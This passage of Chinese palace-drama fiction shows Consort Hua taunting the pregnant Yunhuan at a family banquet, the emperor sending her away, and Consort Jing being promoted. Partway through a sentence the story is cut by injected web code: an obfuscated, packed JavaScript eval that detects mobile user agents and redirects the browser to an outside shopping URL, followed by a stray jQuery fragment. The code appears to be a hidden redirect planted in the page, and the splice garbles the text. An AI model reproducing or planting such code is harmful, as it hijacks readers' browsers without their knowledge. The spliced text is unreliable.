皇帝眉头微蹙,皇后却含笑开口:“既是贺喜,岂有拒之门外之理?请进来吧。”
片刻后,华妃盛装而至,金丝牡丹髻上嵌红宝钿花,霞帔曳地,气度逼人。她盈盈下拜,声音甜腻:“臣妾恭贺陛下,恭贺荣嫔妹妹!龙凤呈祥,实乃天佑大清!”
云嬛起身还礼,神色平静:“多谢华妃姐姐吉言。”
华妃目光扫过她隆起的小腹,笑意未达眼底:“只是……妹妹入宫不过半载,便晋贵人、迁主殿、怀双胎、享独宠,连祈嗣大典都要为妹妹特设——这般殊荣,莫说是本宫,便是纯元皇后,也不曾如此风光呢。”
此言一出,殿内空气骤冷。
云嬛头一次真正的蹙眉,华妃按道理不曾见过纯元皇后,她从哪里知道纯元皇后的旧事。
纯元皇后乃皇帝心中白月光,生前未及封后便薨逝,死后追谥“纯元”,皇帝每每提及,皆神色黯然。如今华妃竟拿云嬛与纯元相较,表面是捧,实则是讽其“僭越”“不知分寸”。
皇后眸光一凝,正欲开口,云嬛却已淡然一笑,垂眸道:“华妃姐姐言重了。臣妾不过一介微躯,何敢与先皇后相提并论?陛下厚爱,皆因腹中龙凤乃社稷所系,非臣妾之功。若论德行、才貌、贤淑,臣妾万不及姐姐万一。”
她语气谦卑,却字字如针——你华妃
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16953234|193091||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
空有高位,却无子嗣;我虽新晋,却怀国本。谁更得圣心,不言自明。
华妃脸色微变,正欲反唇相讥,皇帝却冷冷开口:“华妃,今日家宴,只为庆贺,并非争口舌之地。你若无事,便退下吧。”
华妃一僵,指甲掐进掌心。她原想借机羞辱云嬛,逼她在御前失仪,或激怒皇帝以显其“恃宠而骄”。可云嬛滴水不漏,皇帝又明显护短,她若再纠缠,反显得自己狭隘善妒。
她只得强笑:“臣妾……只是太过欢喜,一时失言。还望荣嫔妹妹莫怪。”
云嬛柔声道:“姐姐一片赤诚,臣妾怎会怪罪?”
华妃咬牙,福身退下,裙裾拂过门槛时,眼中寒光如刃。此番被赶走的屈辱,显然又记载了云嬛头上,可恨她前朝无人,不能泄恨一二。
待她离去,皇帝才缓和神色,对敬嫔道:“你素来沉静持重,协理六宫事务井井有条。朕思之再三,决定晋你为敬妃,赐居永和宫,位同端妃,协理内廷。”
敬嫔一怔,随即跪下叩首:“臣妾惶恐!蒙陛下厚恩,必竭尽心力,不负圣托。”
皇后亦含笑举杯:“恭喜敬妃妹妹。永和宫清净雅致,正合你性子。”
云嬛亦起身道贺,心中却明白:皇帝此举,既是酬功,亦是制衡——华妃失势,需有人填补其权;而敬妃无子、无党、无野心,正是最佳人选。
家宴散后,云嬛乘软轿回延禧宫。路上,流萤低声道:“华妃今日没动手,怕是憋着更大的招。”
云嬛望着夜色中的宫墙,轻声道:“她不敢在家宴上闹,是怕皇上彻底厌弃她。但出了这道门,她定会另寻时机……不过——”她抚了抚小腹,